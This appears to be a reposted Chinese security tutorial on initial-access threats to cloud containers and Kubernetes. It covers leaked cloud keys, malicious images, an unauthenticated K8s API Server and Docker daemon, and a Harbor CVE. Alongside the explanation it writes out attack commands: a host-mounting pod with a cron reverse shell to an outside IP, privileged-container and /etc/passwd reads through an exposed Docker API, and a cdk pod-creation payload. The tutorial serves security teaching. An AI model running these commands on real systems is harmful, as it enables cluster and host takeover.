经过前面的学习,我们了解了容器环境的基础知识、安全机制和设计缺陷,从这一章节开始,我们开始研究云上容器安全威胁。
常见容器安全威胁来源于构建环境安全、运行时安全、操作系统安全、编排管理安全等,参考下图阿里云云上容器ATT&CK攻防矩阵,进行体系化研究:
常见的k8s渗透路径:
形象的K8S渗透过程:
特征1:进程数很少
特征2:常见的一些命令无法使用
特征3:存在.dockerenv文件
-
docker环境下:ls -alh /.dockerenv
-
非docker环境,没有.dockerenv文件
特征4:利用cat /proc/1/cgroup 是否存在docker相关信息
特征5:通过mount查看挂载磁盘是否存在docker相关信息
拓展:如何判断是否在虚拟机、物理机、容器环境
-
https://zhuanlan.zhihu.com/p/70656230
-
https://blog.csdn.net/u010913001/article/details/106488517
1、云账号AK泄露
云平台安全是云服务(容器服务、VM服务)的基础,如果业务代码需要通过AccessKey的方式进行鉴权并与云服务通信,应至少为每个云服务创建子账号并赋予需要的最小权限,同时推荐使用云平台提供的角色(如阿里云RAM角色)进行认证和授权。实践发现,存在部分管理员在进行代码托管时,使用主账号AK(拥有全部云资源控制权限)并不慎将其泄露到公开仓库(如Github),进而导致其云服务遭受入侵的场景,针对这一风险点,需要企业在使用云原生服务及容器化应用的过程中时刻关注。
AK/SK的利用思路:
-
获取凭证:首先要获取到有效的AK和SK,这可以通过多种手段实现,包括但不限于社工钓鱼,明文泄露等:
-
代码中的硬编码:被硬编码到小程序代码中,通过反编译获取AKSK
-
github上传的源码中搜索,有时会意外泄露AKSK
-
在JS接口中由于设计疏忽,导致泄露
-
网站框架的敏感信息泄露也可能使AKSK暴露
-
通过网络请求,攻击者可能通过请求后端api将AKSK传会前端
-
有些程序会将aksk写入日志文件
-
通过社工手段获取
-
访问云资源:使用AK/SK访问目标云服务商的资源(其中可以包括虚拟机,储存桶,数据库,api端点等
-
未授权操作:使用工具连接上后,可以对其进行未进授权操作,例如创修删资源,查看敏感数据或执行其他危险操作
-
数据窃取:如果需要获取敏感数据,还可以获取到储存在云中的数据,如用户信息,机密文件,数据库备份等
-
资源滥用:通过AK/SK调用用户资源(如果过度使用会造成增加用户费用或服务器性能降低
-
隐藏活动:其中包括修改日志,删除痕迹,绕过监管平台
AK/SK利用工具可以参考:Ak/Sk利用工具
2、使用恶意镜像(镜像风险与镜像仓库风险)
部分容器开发者会使用公开的镜像源(如dockerhub)下载镜像并在业务环境中运行,但如果不慎使用了存在漏洞的镜像,会给业务带来安全风险。此外,攻击者时常会将恶意镜像部署到dockerhub,并通过诱导安装或链路劫持对企业进行供应链攻击。
示例:一个在Dockerhub中伪装成mysql的恶意镜像,同时携带了挖矿程序:
很多 POD 和线上容器在使用镜像时,可能用 latest 或默认没有指定版本,所以劫持镜像源之后只要在原本的 latest 之上植入恶意代码并 push 新的版本镜像,就可以在获取镜像权限之后进而获取线上的容器权限。
还有如下镜像相关风险:
-
镜像漏洞
由于镜像实际上是静态存档文件,其中包含运行给定应用的 所有组件,因此镜像中的组件可能缺乏重大安全更新或已过时。使用最新组件创建的镜像可能在创建后的几天或几周内不存在已 知漏洞,但在某些时候,会在一个或多个镜像组件中发现漏洞, 这时,镜像将不再是最新镜像了。
在传统的操作模式中,所部署的软件在其运行的主机上“现 场”更新,与此不同,容器则必须在上游的镜像中进行更新,然 后重新部署。因此,容器化环境的常见风险是由于用于创建容器 的镜像版本存在漏洞,因而所部署的容器存在漏洞。
-
镜像配置缺陷
除了软件缺陷,镜像也可能存在配置缺陷。例如,镜像没有使用特定用户账户进行配置来运行,因而,运行时所需的权限更高。另一个示例是,镜像可能包含一个 SSH 守护进程,从而让容器面临不必要的网络风险。这很像传统的服务器或 VM,配置不当仍然可能会让全新的系统面临攻击危险,所以,即使包含的所有组件都是最新的,镜像配置不当也还是会增加风险。
-
嵌入式恶意软件
由于镜像只是打包在一起的文件集合,其中可能会有意或无意地包含恶意文件。此类恶意软件与镜像中的任何其它组件具有相同能力,因此可以用来攻击环境中的其它容器或主机。嵌入式恶意软件的一个可能来源是所使用的根镜像层,以及通过第三方提供的来源不完全清楚的其它镜像。
-
嵌入式明文密钥
许多应用需要密钥才能实现组件之间的安全通信。例如,Web 应用可能需要用户名和密码才能连接到后端数据库。嵌入式密钥的其它示例包括连接字符串、SSH 私钥和 X.509 私钥。将一个应用被打包成镜像时,这些密钥可以直接嵌入到镜像文件系统中。然而,这种做法造成了安全风险,因为能够访问镜像的任何人都可以轻易对其进行分析,获取密钥。
-
使用不可信镜像
由于容器可移植、易于重复使用,更可能诱使团队运行可能无法妥善验证、或不可信的外部来源的镜像。例如,对于一个 Web 应用进行故障排查时,用户可能会发现第三方提供的镜像中 存在另一版本的应用。使用外部提供的镜像会造成与外部软件通 常面临的相同类型的风险,如引入恶意软件、数据泄漏、或包含 有漏洞的组件
-
与镜像仓库的连接不安全
镜像中经常包含敏感组件,例如组织机构的专有软件和嵌入式密钥。如果与镜像仓库的连接通过不安全的通道进行,镜像的内容会与用明文传输任何其它数据一样存在同样的保密性风险。还会提高中间者攻击的风险,导致可能会截取用于镜像仓库的网络流量,偷取流量中开发人员或管理员的凭证,给编排工具等提供虚的或过时的镜像等。
-
镜像仓库中的镜像过时
因为镜像仓库通常是组织机构部署的所有镜像的来源位置,随着时间的推移,这些镜像可能包含许多有漏洞的过期版本。虽然这些有漏洞的镜像并不会因为仅仅存储在镜像仓库中就直接构成威胁,但他们增加了意外部署已知晓含有漏洞版本的可能性。
-
认证和授权限制不足
因为镜像仓库中可能包含用于运行敏感或专有应用以及访问敏感数据的镜像,认证和授权要求不足可能导致知识产权被盗,或将应用的大量技术细节暴露给攻击者。更严重的是,因为通常会信任镜像仓库,将其作为有效且获得批准的软件源,因此,镜像仓库遭到入侵有可能导致下游容器和主机遭到入侵。
3、K8s API Server未授权访问
在 Kubernetes(K8s)生态系统中,API Server 担当着集群控制中枢的关键角色,通常经由8080和6443端口提供服务。其中,8080端口如同未经把守的行政侧门,无需任何形式的身份验证即可接入;而6443端口则如深藏禁宫中的内廷秘道,不仅需通过严格认证,并且享有TLS安全加密机制的严密防护。
设想这样一种情境:若开发者不慎将8080端口门户洞开,直面互联网汪洋,那么恶意攻击者就有可能借此信道,利用API直接对集群施展操控指令,甚至通过/ui路径潜入Kubernetes集群管理仪表盘,像闯入无人之境般恣意妄为,对集群进行破坏性操作。
然而,在新版本的 Kubernetes 中,默认情况下已不再启用这扇潜在风险的“8080之门”。当我们进行端口扫描时,会发现该端口已悄然隐匿,处于不可探测的状态。倘若希望对其进行个性化配置,您需要深入至 Kubernetes 的灵魂脉络——即/etc/kubernetes/manifests目录下的kube-apiserver.yaml配置文件,于其中添加相应的设定内容,以确保系统的安全性与稳定性得到妥善维护。
–insecure-port=8080
–insecure-bind-address=0.0.0.0
修改完毕后,重启k8s即可访问8080端口。
访问master节点的8080端口,即可返回API接口列表,如果开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API,直接对集群下发指令。
或使用kubectl进行未授权访问利用:
kubectl -s 192.168.108.100:8080 get nodes
获得了API权限后我们还可以怎样利用呢?其中一个方向,可以创建容器挂载写定时任务。既然要创建新的容器,那么我们就需要了解K8S中如何新建容器。
K8S利用yaml文件来新建,因此需要了解其编写结构和规则
-
大小写敏感
-
使用缩进表示层级关系缩进时不允许使用Tal键,只允许使用空格
-
缩进的空格数目不重要,只要相同层级的元素左侧对齐即可
-
”#” 表示注释,从这个字符一直到行尾,都会被解析器忽略
-
在Kubernetes中,只需要知道两种结构类型即可:Map、List
接下来是代码结构
#test-pod
apiVersion: v1 #指定api版本,此值必须在kubectl apiversion中
kind: Pod #指定创建资源的角色/类型
metadata: #资源的元数据/属性
name: test-pod #资源的名字,在同一个namespace中必须唯一
labels: #设定资源的标签
k8s-app: apache
version: v1
kubernetes.io/cluster-service: "true"
annotations: #自定义注解列表
- name: String #自定义注解名字
spec: #specification of the resource content 指定该资源的内容
restartPolicy: Always #表明该容器一直运行,默认k8s的策略,在此容器退出后,会立即创建一个相同的容器
nodeSelector: #节点选择,先给主机打标签kubectl label nodes kube-node1 zone=node1
zone: node1
containers:
- name: test-pod #容器的名字
image: 10.192.21.18:5000/test/chat:latest #容器使用的镜像地址
imagePullPolicy: Never #三个选择Always、Never、IfNotPresent,每次启动时检查和更新(从registery)images的策略,
# Always,每次都检查
# Never,每次都不检查(不管本地是否有)
# IfNotPresent,如果本地有就不检查,如果没有就拉取
command: ['sh'] #启动容器的运行命令,将覆盖容器中的Entrypoint,对应Dockefile中的ENTRYPOINT
args: ["$(str)"] #启动容器的命令参数,对应Dockerfile中CMD参数
env: #指定容器中的环境变量
- name: str #变量的名字
value: "/etc/run.sh" #变量的值
resources: #资源管理
requests: #容器运行时,最低资源需求,也就是说最少需要多少资源容器才能正常运行
cpu: 0.1 #CPU资源(核数),两种方式,浮点数或者是整数+m,0.1=100m,最少值为0.001核(1m)
memory: 32Mi #内存使用量
limits: #资源限制
cpu: 0.5
memory: 1000Mi
ports:
- containerPort: 80 #容器开发对外的端口
name: httpd #名称
protocol: TCP
livenessProbe: #pod内容器健康检查的设置
httpGet: #通过httpget检查健康,返回200-399之间,则认为容器正常
path: / #URI地址
port: 80
#host: 127.0.0.1 #主机地址
scheme: HTTP
initialDelaySeconds: 180 #表明第一次检测在容器启动后多长时间后开始
timeoutSeconds: 5 #检测的超时时间
periodSeconds: 15 #检查间隔时间
#也可以用这种方法
#exec: 执行命令的方法进行监测,如果其退出码不为0,则认为容器正常
# command:
# - cat
# - /tmp/health
#也可以用这种方法
#tcpSocket: //通过tcpSocket检查健康
# port: number
lifecycle: #生命周期管理
postStart: #容器运行之前运行的任务
exec:
command:
- 'sh'
- 'yum upgrade -y'
preStop:#容器关闭之前运行的任务
exec:
command: ['service httpd stop']
volumeMounts: #挂载持久存储卷
- name: volume #挂载设备的名字,与volumes[*].name 需要对应
mountPath: /data #挂载到容器的某个路径下
readOnly: True
volumes: #定义一组挂载设备
- name: volume #定义一个挂载设备的名字
#meptyDir: {}
hostPath:
path: /opt #挂载设备类型为hostPath,路径为宿主机下的/opt,这里设备类型支持很多种
#nfs
输入指令,即可查看apiVersion支持的版本
kubectl api-versions
先简单创建一个容器
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
image: nginx
name: test-container
volumeMounts:
mountPath: /mnt
name: test-volume
volumes:
name: test-volume
hostPath:
path: /
接下来利用未授权进入该容器中写入定时任务
#利用8080的未授权API接口进入创建的容器
kubectl -s 192.168.108.100:8080 --namespace=default exec -it test bash
#写入定时任务
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.108.131/9999 0>&1n" >> /mnt/etc/crontab
6443端口虽然开启了健全认证,但在实际情况中,一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
看到泄露的API和8080端口似乎类似,但不能直接在命令行中进行利用获取信息
但通过网页的交互可以获取到信息:
https://192.168.108.100:6443/api/v1/namespaces/kube-system/secrets
https://192.168.108.100:6443/api/v1/namespaces/default/pods?limit=500
获取节点信息控制 :利用kubectl自带的功能,可以直接实现类似攻击8080端口的方式,创建一个pod然后得到shell
kubectl --insecure-skip-tls-verify -s https://192.168.108.100:6443 get node
在自动化工具方面,通过cdk工具传输创建Pod:创建特权容器
./cdk_linux_amd64 kcurl anonymous post 'https://192.168.108.100:6443/api/v1/namespaces/default/pods?filedManager=kubectl-client-side-apply' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test-1","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-1","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test-1","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
通过该方法需要定位到正确的API接口,否则会报错
4、K8s configfile泄露
Kubernetes(简称K8s)的配置文件作为一种集群权限管理实体,蕴含了关于K8s集群的详尽配置参数,这其中包括对集群控制面API Server的精确定位信息以及授权认证凭据。在选用托管容器服务时,云服务提供商将向用户分发此配置文件,以为用户提供通过kubectl这一命令行工具与集群进行安全、高效交互的途径。
然而,若此配置文件遭到未经授权的访问泄露(例如:内部网络终端设备遭受攻击或源代码不慎上传至GitHub等公开平台),攻击者将可能借此直接对接并操控API Server核心组件,从而对整个K8s集群构成重大安全威胁和潜在风险。
示例:阿里云容器服务K8s configfile:
容器镜像之于容器安全,可谓举足轻重的关键一环。当一旦掌获节点权限或系统管理员级别的 PC 访问权限时,潜藏在 ~/.docker/config.json 文件内的敏感信息,即可能包含对接镜像仓库的账号与密码详情。值得注意的是,这些至关重要的用户名和密码信息仅仅实施了 Base64 编码处理,并未实现真正意义上的安全性加固,犹如羊皮纸上的秘钥,仅披覆一层脆弱的加密外衣。
换言之,在这种情况下,用户的认证凭据实质上仍处于易于破解的风险状态,亟需采取更为高级且专业的防护策略以提升安全性。因此,对于镜像仓库的访问凭证管理,我们应追求更严谨、更周密的安全机制,而非仅仅依赖基础的 Base64 编码方式来保障信息的隐匿性,从而确保整个容器生态系统的稳健运行与数据安全无虞。
5、Docker daemon公网暴露
Docker采用client-server架构模式运行,其中的核心组件是Docker daemon服务,它作为后端进程持续运作,肩负着管控容器生命周期的重任,包括但不限于创建、启动和停止容器,并提供了众多docker运行时的关键功能。当用户在命令行执行docker命令时,实际上触发了一个客户端操作,该客户端通过调用Docker的REST API与服务器端的docker daemon进行交互。
在Linux操作系统环境中,docker daemon监听并绑定在其创建于/var/run/docker.sock路径下的UNIX套接字上。为了便于远程管理及扩展性需求,可以通过配置设置以使得daemon能监听TCP套接字,从而将其服务暴露在网络中。按照行业标准和惯例,2375端口通常被分配用于未经身份验证的HTTP通信接口,而2376端口则专用于经过安全加密的HTTPS通信接口,以实现可信的身份认证和数据传输保护。
然而,在实际运维场景中,若管理员因配置疏漏,不慎将docker.sock通过未安全防护的2375端口暴露于公网环境,这将导致一个严重的安全风险。攻击者有可能利用这一API接口漏洞,对Docker服务进行全面接管和恶意操控,形成严重的信息系统安全隐患。
示例:Docker daemon的2375端口的暴露:
docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
Docker Daemon未授权访问的检测与利用方法:
#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
#推荐使用这种方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375"
当Docker daemon未授权暴露在公网时,攻击者可以利用该漏洞执行任意命令。以下是一些模拟攻击者可能使用的具体利用命令示例:
-
查看和列出所有容器:
curl -X GET "http://vulnerable-host:2375/containers/json"
-
创建并运行一个新的容器,比如启动一个带有bash shell的Alpine Linux容器:
docker -H tcp://vulnerable-host:2375 run -it --rm alpine /bin/sh
-
挂载主机目录到容器内以读取数据(假设要读取/etc/passwd文件):
docker -H tcp://vulnerable-host:2375 run --rm -v /etc:/target alpine cat /target/passwd
-
获取root权限或进行其他恶意活动:创建并运行一个具有特权模式的容器,进一步入侵宿主机系统:
docker -H tcp://vulnerable-host:2375 run -it --privileged --net=host alpine sh
-
如果目标机器上有Kubernetes环境,还可能尝试执行如下命令来接管集群:
# 获取kubelet配置信息
curl http://vulnerable-host:2375/run/k8s.io/pods
# 利用获取的信息创建恶意pod等高级操作
# (这里仅为示例,并非实际攻击链中的直接命令)
6、容器内应用漏洞入侵
同理于主机安全的固有挑战,运行在容器环境中的应用侧安全薄弱环节(诸如WEB应用中的远程代码执行漏洞、Redis未经授权的访问等)也会成为黑客攻破防护壁垒的关键突破口。这并非源自容器技术本身存在的结构缺陷,而恰恰是容器化环境中常见软件漏洞的具体体现。
例如,在一个被容器化的Web应用中,可能会潜藏跨站脚本攻击的隐患,如同暗流涌动的网络深海,伺机待发;数据库前端的容器则可能由于SQL注入的风险,犹如城堡的大门悄然洞开,面临潜在的安全侵袭。
当不幸遭遇非法入侵时,遭到掌控的容器将可能沦为攻击者手中的利器,通过多元化的滥用手段,实现其恶意目的:或不胫而走地泄露敏感信息,犹如珍贵卷轴落入宵小之手;或策动对其他容器乃至底层主机操作系统的深度打击,如同驾驭战舰发起对堡垒内部的连环冲击。
7、Master节点SSH登录凭证泄露
在常态化的容器编排管理中,业界广泛采纳的方法是通过安全认证机制登录至集群的主控节点或运维专用的跳板机系统,进而运用kubectl这一功能强大的命令行接口工具,以实现对Kubernetes(k8s)集群进行精细化资源管理和调度。
然而,在此种运维操作模型下,一旦前置登录节点的SSH认证凭证不幸发生泄露或遭遇恶意破解攻击,则意味着集群安全防护体系的基础性屏障已被破坏,这将不可避免地致使整个Kubernetes生态系统暴露于潜在的安全威胁环境之中,从而面临严峻的操作风险与安全挑战。
8、私有镜像库暴露
在容器化技术的实践场景中,企业采用镜像作为持续集成与自动化部署的基础组件,并通过设立专用私有镜像仓库进行集中管控。然而,面向公网暴露的私有镜像仓库潜藏着重大安全风险,易成为攻击者瞄准的目标,通过篡改或植入恶意镜像实施供应链攻击,进而影响下游业务系统的安全性。
以Harbor为例,这是一款企业级Docker镜像Registry服务器,不仅集成了Docker Hub、Docker Registry等基础功能,还借鉴了谷歌容器等先进的管理理念和技术特点。Harbor提供了一个图形化用户界面(GUI),赋能用户基于其权限级别执行镜像的下载、上传及安全扫描操作。近年来,Harbor因其优异的功能特性与便捷的安全管理能力获得了业界广泛的认可和青睐,成功进入CNCF孵化器并被众多企业采纳为核心基础设施。
值得注意的是,在2019年,Harbor曝出严重安全漏洞CVE-2019-16097,该漏洞允许攻击者通过构造特定的恶意请求,以管理员权限非法创建用户账号,从而实现对整个Harbor环境的掌控。由于该漏洞利用方式简便且影响深远,对于公开互联网访问的Harbor服务构成了显著威胁。
利用该请求即可注册管理员,并可顺利登录进行镜像管理。
结尾补充个知识点,如果你需要练习docker,但是还没有安装docker环境,可以访问https://labs.play-with-docker.com,登录后就可以使用限定时间的docker环境了。
云上容器的初始访问渗透姿势已经讲完了,接下来我们继续根据阿里云的云上容器ATT&CK攻防矩阵进行体系化研究,请继续关注!
福利来啦!!!
福利一:为感恩回馈购买东方隐侠知识大陆的老客户,我们送出年终抽奖活动,请前往东方隐侠知识大陆参加抽奖。友情提醒:非客户,不兑奖的哈~
详情请查看链接:https://wiki.freebuf.com/societyDetail/articleDetail?society_id=44&article_id=44358
福利二:东方隐侠在参加知识大陆官方年终活动,敬请参加:
原文始发于微信公众号(东方隐侠安全团队):第四节:云上容器安全威胁(一)初始访问
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论